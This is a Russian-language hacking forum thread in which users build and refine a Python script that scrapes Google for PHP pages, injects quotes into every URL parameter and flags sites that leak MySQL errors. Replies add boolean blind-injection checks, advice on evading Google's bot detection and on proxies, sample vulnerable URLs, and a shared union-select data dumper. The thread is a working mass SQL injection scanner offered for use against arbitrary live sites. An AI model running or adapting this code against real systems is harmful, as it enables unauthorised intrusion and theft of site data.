Очевидно, не я первый задумался о этом, но т.к. ничего особо подобного не нашел, то набросал скрипт на питоне, который парсит результаты гугла, находит ссылки php, вставляет во все параметры кавычки и смотрит произошла ли там ошибка. По умолчанию 10 потоков, 5 страниц, 100 результатов на страницу, показываются только положительные срабатывания. Пример использования (будет парсить выдачу по запросу "heck the world"): python autosqli.py heck the world Code: # -*- coding: utf-8 -*- import sys, os, re, time, string, urllib2, cookielib, threading, Queue limit = 5 thread_count = 10 bypass = ['showthread.php', 'viewtopic.php', 'viewforum.php', 'forumdisplay.php', 'forum.php', 'showtopic'] error_values = ['You have an error in your SQL syntax', 'mysql_fetch_array', 'mysql_fetch_assoc', 'mysql_num_rows', 'mysql_fetch_row',] headers = {'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.6) Gecko/20100627 Firefox/3.6.6', 'Accept' : 'text/html', 'Accept-Language' : 'en-us', 'Accept-Charset' : 'utf-8', 'Connection' : 'Close'} print "Auto SQLi Google Parser" if len(sys.argv) < 2: print "Usage:\t'python autosqli.py <search request>" exit(0) query = string.join(sys.argv[1:]) print "[i] pages to parse: %d" % limit print "[i] threads: %d" % thread_count print "[i] query: %s" % query query = query.replace(' ', '+') google_jar = cookielib.CookieJar() google_opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(google_jar)) google_opener.addheaders = zip(headers.keys(), headers.values()) injQueue = Queue.Queue() injLock = threading.Lock() class parseUrl(threading.Thread): def run(self): while 1: result = [] url = injQueue.get() if url == 'stop': return url = url.split('&') for param_num in xrange(len(url)): url[param_num] += "'" injUrl = "&".join(url) injReq = urllib2.Request("&".join(url), None, headers) try: injResp = urllib2.urlopen(injReq, timeout = 10) injResp = injResp.read() except urllib2.HTTPError, e: injResp = e except: continue if [1 for val in error_values if val in injResp]: result.append('[+] '+ injUrl) url[param_num] = url[param_num][:-1] injLock.acquire() if result: print '\n'.join(result) injLock.release() injQueue.task_done() for i in xrange(thread_count): parseUrl().start() for i in xrange(limit): req = google_opener.open('http://www.google.com/search?q=%s+filetype:php&start=%d&ie=utf-8&oe=utf-8&num=100' % (query, i*100)) resp = req.read() urlList = re.findall('<h3 class="r"><a href="(.+?)" class=l', resp) if not urlList: time.sleep(10) continue for url in urlList: if '?' not in url or [1 for val in bypass if val in url]: continue injQueue.put(url.replace('&', '&')) time.sleep(10) injQueue.join() print '[i] done' for i in xrange(thread_count): injQueue.put('stop')
можно добавить ошибки php функции. mysql_fetch_array, mysql_fetch_assoc, mysql_num_rows, mysql_fetch_row
iv. Кое что можно почерпнуть отсюда: https://forum.antichat.ru/thread20414.html Плюс надо ковырять самописные движки этим скриптом, а не популярные форумы/цмски, которые будут очень часто находиться парсером Без прокси такие подстановки кавычек делать - ой как не советую. Код - ужасный, это не питон, а попытка кодинга на С/дельфи, но с функциями из питона. Перепишите
Вообще, не все инъекции выводят ошибку. Поэтому детектировать её можно таким способом: Code: function checkInjection(sURL) { String A = getURL(sURL); String B = getURL(sURL + "and+1=1%23"); if(A == B) { B = getURL(sURL + "and+1=0%23"); if(A != B) return 1; } return 0; } На ходу при отправке сообщения придумал функцию на С++ для проверки инъекции. Алгоритм прост, думаю, перепишешь на питон.
Ага, спасибо, добавил. Ну, кстати, всякие находятся..в запросе же не скажешь, чтобы он только самописные искал. Я думал сейчас у всех впн в моде, так что не стал поддержку проксей прикручивать.. Да уж, былые времена программинга на сях и асме дают знать. Изучаю функции питона подробней, хотя, работает же! И ещё вопрос по поводу детекта машинных запросов гуглом. Вроде задержка 10 сек сначала спасала, а вот сейчас всё равно обломал. Какие ещё есть варианты? 2mailbrush Ну, инъекции, которые не выводят ошибку - это уже совсем другая история. Сюда же тогда ещё можно добавить проверку арифметических операций и т.д.
Прокси это лишний гемор, так что рассматривать буду в последнюю очередь. Пробовал просто замену юзер агента, разумеется, не спасает. А ведь при ручном просмотре выдачи у гугла никогда не возникало подозрение, что я машина.
iv. гугл любит печеньки, заголовки и смену юзерагентов Пропускать все страницы из популярных движков и форумов (типа вбуллетин, IPB, SMF, вордпресс) после первой загрузки
Переделал немного. Теперь за раз парсится 100 результатов, добавил строки для детекта ошибки и фильтрацию некоторых заведомо неудачных ссылок. Насчет хедеров не уверен, как есть сейчас - это норм?
хорошо было бы записать результаты в txt файл http://www.sqlinj.ru/news.php?id=[inj] http://www.oracle.com/articles.php?id=[inj]
Я правда свою прогу так и не дописал(а она делает тоже самое), но могу дать пару советов как определять: 1) ну естественно по вхождениям слов типа "SQL, mysql_fetch_row, mysql_fetch_row..." 2) проверять на редирект 3) проверять на контент(редирект) запросы site.com/index.php?id=1 and 1=1 и site.com/index.php?id=1 and 1=2
порылся в закромах своего компа и нашёл дампер который я писал) с позволения ТСа запостю тут) дампер работает через group_concat и limit. Если кому понадобиться то могу дописать http://depositfiles.com/files/yya61twia ссылки для дампа идут вида: site.com/index.php?id=1 and 1=2 union select 1,2,[printfield] [from] limit [row],3
Меня лично вполне устраивает "python autosqli.py > log.txt", не хочется излишне усложнять скрипт. Увы и ах. $ file databaser.exe databaser.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
iv. как доделаешь , очень хотелось бы посмотреть на твой скрипт на пинтоне , надеюсь выложишь в паблик
Следующий шаг сделан! Многопоточность, куки, удобная выдача результатов. Описание в первом посте. Особая благодарность Gifts за наставление на путь истинный.